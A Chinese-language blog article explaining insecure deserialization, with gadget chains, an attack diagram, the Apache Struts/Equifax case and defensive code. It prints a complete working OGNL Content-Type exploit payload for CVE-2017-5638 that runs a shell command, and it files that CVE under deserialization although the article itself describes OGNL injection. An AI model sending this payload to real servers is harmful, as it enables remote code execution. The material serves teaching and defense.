Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

不安全的反序列化

| , 3 minutes reading.

1. 定义

不安全的反序列化 发生在应用程序在没有适当验证的情况下反序列化(将序列化数据转换回对象)不受信任的数据时。攻击者可以操纵序列化对象来:

  • 在服务器上执行任意代码
  • 执行注入攻击
  • 重放、篡改或提升权限
  • 导致拒绝服务

这个漏洞特别危险,因为利用它通常会直接导致远程代码执行 (RCE)

2. 技术原理

序列化 将对象转换为可以存储或传输的格式(字节、JSON、XML)。 反序列化 从该格式重建对象。

为什么危险: 许多语言在反序列化过程中会执行代码:

  • 对象构造函数/析构函数被调用
  • 魔术方法被调用(PHP 中的 __wakeup(),Java 中的 readObject()
  • 属性设置器可能触发副作用

易受攻击的语言和格式:

  • Java: 原生序列化、XStream、Jackson(带多态性)
  • PHP: unserialize() 函数
  • Python: pickle 模块
  • .NET: BinaryFormatterObjectStateFormatter
  • Ruby: Marshal.load()

攻击概念 - Gadget 链: 攻击者不注入新代码。相反,他们链接应用程序或其库中现有的类(「gadgets」)来实现代码执行。

序列化对象 → 反序列化 → Gadget 类 A
                              ↓ 调用
                          Gadget 类 B
                              ↓ 调用
                          Gadget 类 C
                              ↓ 执行
                          Runtime.exec("恶意命令")

3. 攻击流程

sequenceDiagram
    participant Attacker as 攻击者
    participant WebApp as Web 应用程序
    participant Deserializer as 反序列化库
    participant System as 操作系统

    Attacker->>Attacker: 使用已知 gadget 链<br/>制作恶意序列化载荷

    Attacker->>WebApp: 在 cookie/参数中发送载荷<br/>session=rO0ABXNyABFqYXZhLnV0aWw...

    WebApp->>Deserializer: 反序列化会话数据

    Deserializer->>Deserializer: 重建对象图<br/>触发 gadget 链

    Note over Deserializer: Gadget 链执行<br/>恶意代码路径

    Deserializer->>System: Runtime.exec 或等效方法

    System-->>Attacker: 反向 shell / 命令输出

4. 真实案例:Apache Struts (2017)

目标: Equifax 和数千家其他组织。 漏洞类别: Java 反序列化 RCE (CVE-2017-5638)。

漏洞背景: Apache Struts 是一个流行的 Java Web 框架,其 Jakarta Multipart 解析器存在严重漏洞。在处理文件上传的 Content-Type 标头时,它使用了可被操纵的 OGNL(对象图导航语言)表达式。

攻击过程: 攻击者发送带有精心构造的 Content-Type 标头的恶意 HTTP 请求:

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Equifax 数据泄露: 2017 年 9 月,Equifax 披露攻击者利用此漏洞访问了 1.47 亿人的个人数据,包括社会安全号码、出生日期和地址。

影响: 历史上最大的数据泄露事件之一,导致超过 7 亿美元的和解金。这表明单个反序列化漏洞可能产生灾难性后果。

5. 深度防御策略

A. 避免原生反序列化

最安全的方法是完全不反序列化不受信任的数据。

  • 使用简单的数据格式: 优先使用 JSON 或 XML 进行显式解析(而非对象映射)。
  • 禁止多态反序列化: 避免允许任意类实例化的功能。
// 坏:原生 Java 反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 危险!

// 好:显式类型的 JSON
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class); // 显式类型

B. 完整性检查

签名序列化数据以检测篡改。

  • HMAC 签名: 在序列化前签名数据,在反序列化前验证。
  • 加密: 加密序列化数据,使攻击者无法构造有效载荷。
import hmac
import hashlib

def serialize_with_signature(data, secret_key):
    serialized = pickle.dumps(data)
    signature = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
    return serialized + b'.' + signature.encode()

def deserialize_with_verification(signed_data, secret_key):
    serialized, signature = signed_data.rsplit(b'.', 1)
    expected = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(signature.decode(), expected):
        raise ValueError("Invalid signature")
    return pickle.loads(serialized)

C. 类型约束(白名单)

限制可以反序列化的类。

Java(使用 ObjectInputFilter - Java 9+):

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;!*"  // 仅允许 com.myapp.model,拒绝所有其他
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);

D. 隔离反序列化

在沙箱环境中运行反序列化。

  • 独立进程: 在低权限进程中反序列化。
  • 容器隔离: 使用受限能力的容器。
  • 时间限制: 中止耗时过长的反序列化(DoS 防护)。

E. 监控和检测

  • 记录反序列化: 跟踪所有反序列化操作。
  • 异常检测: 对异常的类加载模式发出警报。
  • RASP(运行时应用自我保护): 检测利用尝试的工具。

F. 保持依赖项更新

许多反序列化漏洞针对已知的易受攻击库。

  • 依赖项扫描: 使用 OWASP Dependency-Check、Snyk 等工具。
  • Gadget 库: 关注常见库(Commons Collections、Spring 等)中的漏洞。

6. 参考资料